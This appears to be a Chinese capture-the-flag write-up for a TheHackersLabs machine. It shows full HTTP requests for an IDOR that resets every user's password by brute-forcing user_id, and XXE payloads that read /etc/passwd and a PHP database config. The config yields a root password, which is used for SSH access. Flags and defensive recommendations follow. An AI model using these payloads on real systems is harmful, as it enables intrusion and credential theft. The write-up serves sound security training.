地址: https://labs.thehackerslabs.com/machine/106
过程
nmap 扫描,22,80
访问 192.168.0.9 web,跳转 http://lacasadeljamon.thl/,修改 /ect/hosts 解析成功
目录扫描
login.php register.php db_config.php 比较敏感
先随便注册一个 admin 账户,密码 admin
进入后,有修改密码功能
修改密码,抓包
POST /settings.php?user_id=63 HTTP/1.1
Host: lacasadeljamon.thl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://lacasadeljamon.thl
Connection: keep-alive
Referer: http://lacasadeljamon.thl/settings.php?user_id=63
Cookie: PHPSESSID=7pth5dnm7uh6v98cnu77005udl; id=63
Upgrade-Insecure-Requests: 1
Priority: u=0, i
new_password=admin&confirm_password=admin&user_id=63&change_password=
可以看到是根据 user id 来进行用户信息确认的
爆破 user id 1-100,所有人密码全部修改一遍
同时看到 profile.php 显示个人信息,我当前的 role 是 user
而 profile.php 的信息查询也是基于 id 的,爆破,正则过滤找到 role:admin 缺失图片:Pasted image 20250725041136.png
(这里的正则匹配要 bp 专业版也可以使用,我是手动看的)
找到 admin 的包
<div class="profile-container">
<h2>Perfil de usuario</h2>
<p><strong>Nombre de usuario:</strong> admin_user</p>
<p><strong>Nombre completo:</strong> Admin User</p>
<p><strong>Compañía:</strong> AdminCompany</p>
<p><strong>Correo electrónico:</strong> admin@example.com</p>
<p><strong>Rol:</strong> admin</p>
拿到 admin_user:admin
进入后台界面,可以看到多了添加事件的功能,添加的事件可以在 /calendar.php 里返回回显
Evento Añadido
Fecha: 2025-07-11
Título: a
Descripción: a
那么这一块肯定有 xss,不过我们的目的是通过这个回显点进行数据外带或者rce
抓包看请求
POST /calendar.php HTTP/1.1
Host: lacasadeljamon.thl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://lacasadeljamon.thl
Connection: keep-alive
Referer: http://lacasadeljamon.thl/calendar.php
Cookie: PHPSESSID=7pth5dnm7uh6v98cnu77005udl; id=51
Upgrade-Insecure-Requests: 1
Priority: u=0, i
fecha=2025-07-17&titulo=a&descripcion=a
<h3>Evento Añadido</h3><p><strong>Fecha:</strong> 2025-07-17</p><p><strong>Título:</strong> a</p><p><strong>Descripción:</strong> a</p>
可以看到输入的字段都在响应中被解析并输出
如果添加不存在的字段呢
whoami:hacker
回显里并没有显示,说明其只接受和解释原字段。
既然这里会进行格式化解析并回显,尝试传入 xml 数据进行 xxe
Content-Type: application/xml 修改 Content-Type 然后发包显示 Error al procesar XML.
那么服务器就可以解析 xml 数据
注意,这里是在原参数的基础上进行修改 xml 数据才能保证参数被解析并回显在正确位置
Content-Type: application/xml
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>
<fecha>2025-07-17</fecha>
<título></título>
<descripcion>&file;</descripcion>
</root>
得到 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
mysql:x:102:110:MySQL Server,,,:/nonexistent:/bin/false
jabugo:x:1001:1001::/home/jabugo:/bin/bash
user flag
<!ENTITY file SYSTEM "file:///home/jabugo/user.txt">
1831d1147f148c49c09649c6e8cca1d0
之前目录扫描时有一个 db_config.php,浏览器访问后无法查看源码,用 xxe 读取出来
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=db_config.php">
base64 解密得到
<?php
$servername = "localhost";
$username = "root";
$password = "Orochimaru777###";
$dbname = "foodstore";
// Crear la conexión
$conn = new mysqli($servername, $username, $password, $dbname);
// Comprobar si la conexión fue exitosa
if ($conn->connect_error) {
die("Conexión fallida: " . $conn->connect_error);
}
?>
拿到 root 凭证
root:Orochimaru777###
获取 root flag
root@Thehackerslabs-Lacasadeljamon:~# cat root.txt
3f3fa2341600d9f92fea3cdb2aab5fa4
flag
1831d1147f148c49c09649c6e8cca1d0 3f3fa2341600d9f92fea3cdb2aab5fa4
渗透测试过程简要总结
修改 /etc/hosts ,更新 ip 解析到域名 手工测试 web 界面,注册登录后,修改密码处存在水平越权修改他人密码 用户信息基于 id 查询,可爆破 添加日程功能回显处存在 xxe 数据库信息泄露
-
信息收集:
- 使用
nmap扫描发现开放 22 (SSH) 和 80 (HTTP) 端口 - 通过修改
/etc/hosts解析域名lacasadeljamon.thl
- 使用
-
Web应用测试:
- 发现敏感文件
login.php,register.php,db_config.php - 注册普通用户并利用 IDOR (Insecure Direct Object Reference) 漏洞:
- 爆破
user_id修改所有用户密码 - 通过
profile.php找到管理员账户 (admin_user:admin)
- 爆破
- 发现敏感文件
-
权限提升:
- 管理员后台发现事件添加功能
- 利用 XXE (XML External Entity) 漏洞:
- 读取
/etc/passwd获取系统用户信息 - 读取
db_config.php获取数据库凭证 (root:Orochimaru777###)
- 读取
- 通过 SSH 使用获取的 root 凭证登录系统
-
获取 Flag:
- 用户 Flag:
1831d1147f148c49c09649c6e8cca1d0 - Root Flag:
3f3fa2341600d9f92fea3cdb2aab5fa4
- 用户 Flag:
防御措施建议
1. 修复 IDOR 漏洞
- 实施访问控制:校验当前用户是否有权修改目标用户数据
- 使用不可预测的标识符:如 UUID 替代连续数字 ID
- 服务器端校验:始终在服务端验证用户权限
2. 防止 XXE 攻击
-
禁用外部实体:
libxml_disable_entity_loader(true); -
使用安全的 XML 解析器:如
defusedxml(Python) -
输入验证:拒绝包含
<!DOCTYPE或<!ENTITY的 XML
3. 数据库安全
- 使用最小权限原则:创建专用数据库用户,避免使用 root
- 加密敏感配置:如使用环境变量存储数据库凭证
- 定期轮换凭证:特别是发现泄露后立即更换
4. 其他加固措施
- 禁用目录列表:防止
db_config.php等文件被枚举 - 实施 WAF:拦截 XXE、SQLi 等常见攻击
- 日志监控:记录异常访问尝试(如频繁修改密码请求)
5. 安全开发实践
- 代码审计:定期检查代码中的安全漏洞
- 渗透测试:上线前进行专业安全测试
- 安全意识培训:提升开发人员的安全编码能力